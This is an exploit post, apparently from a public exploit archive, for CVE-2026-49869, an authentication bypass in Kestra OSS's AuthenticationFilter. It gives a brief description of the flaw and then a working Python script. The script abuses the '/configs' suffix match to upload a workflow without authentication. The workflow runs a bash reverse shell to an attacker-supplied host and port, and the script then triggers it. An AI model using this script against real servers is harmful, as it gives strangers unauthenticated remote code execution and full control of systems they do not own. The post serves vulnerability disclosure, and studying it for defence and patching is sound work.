# Title: Kestra OSS Authentication Bypass Remote Code Execution (CVE-2026-49869) v1.3.20
# Author: nu11secur1ty
# Date: 10.05.2026
# Vendor: Kestra
# Software: Kestra OSS
# Reference: https://github.com/kestra-io/kestra
## Description:
CVE-2026-49869 is a critical authentication bypass vulnerability residing within Kestra OSS's core request-filtering mechanism (`AuthenticationFilter`). Due to insecure suffix-matching logic (`endsWith("/configs")`) instead of strict routing or exact segment validation, attackers can craft custom request paths that bypass security controls. This allows unauthenticated remote attackers to create, modify, and execute arbitrary workflows (`flows`) containing execution plugins (such as `io.kestra.plugin.scripts.shell.Commands`), leading to full Remote Code Execution (RCE) with high privileges on the hosting environment.
STATUS: Vulnerable / PoC Verified
[+]Payload:
```python
#!/usr/bin/python
# Tool/Model: nu11secur1ty
from argparse import ArgumentParser
from ipaddress import IPv4Address
from urllib.parse import urlsplit
from urllib.request import Request, urlopen
from urllib.error import HTTPError, URLError
# Parse command line arguments
parser = ArgumentParser()
parser.add_argument("target")
parser.add_argument("--lhost", type=IPv4Address, required=True)
parser.add_argument("--lport", type=int, required=True)
args = parser.parse_args()
# Validate target URL format
target = urlsplit(args.target)
if target.scheme not in ("http", "https") or not target.netloc or target.path not in ("", "/") or target.query or target.fragment:
parser.error("target must be a base HTTP URL")
if not 1 <= args.lport <= 65535:
parser.error("lport must be between 1 and 65535")
base = args.target.rstrip("/") + "/api/v1/main"
# Define malicious flow payload containing a bash reverse shell
flow = f"""id: configs
namespace: configs
tasks:
- id: shell
type: io.kestra.plugin.scripts.shell.Commands
taskRunner:
type: io.kestra.plugin.core.runner.Process
commands:
- "bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
"""
try:
# Upload the flow configuration utilizing the auth bypass
req_flow = Request(
f"{base}/flows/configs?delete=false",
data=flow.encode(),
headers={"Content-Type": "application/x-yaml"}
)
urlopen(req_flow, timeout=10).close()
print("[+] Flow uploaded successfully.")
# Trigger the flow execution
req_exec = Request(f"{base}/executions/configs/configs", method="POST")
response = urlopen(req_exec, timeout=10).read().decode()
print("[+] Execution triggered successfully:")
print(response)
except HTTPError as e:
print(f"[-] HTTP Error: {e.code} - {e.reason}")
except URLError as e:
print(f"[-] Network Error: {e.reason}")
except Exception as e:
print(f"[-] An unexpected error occurred: {e}")
# Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2026/CVE-2026-49869)
# Demo:
[href](https://odysee.com/@nu11secur1ty:b/CVE-2026-49869-RCE-exploit:a)
# Time spent:
01:35:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
home page: https://www.asc3t1c-nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/>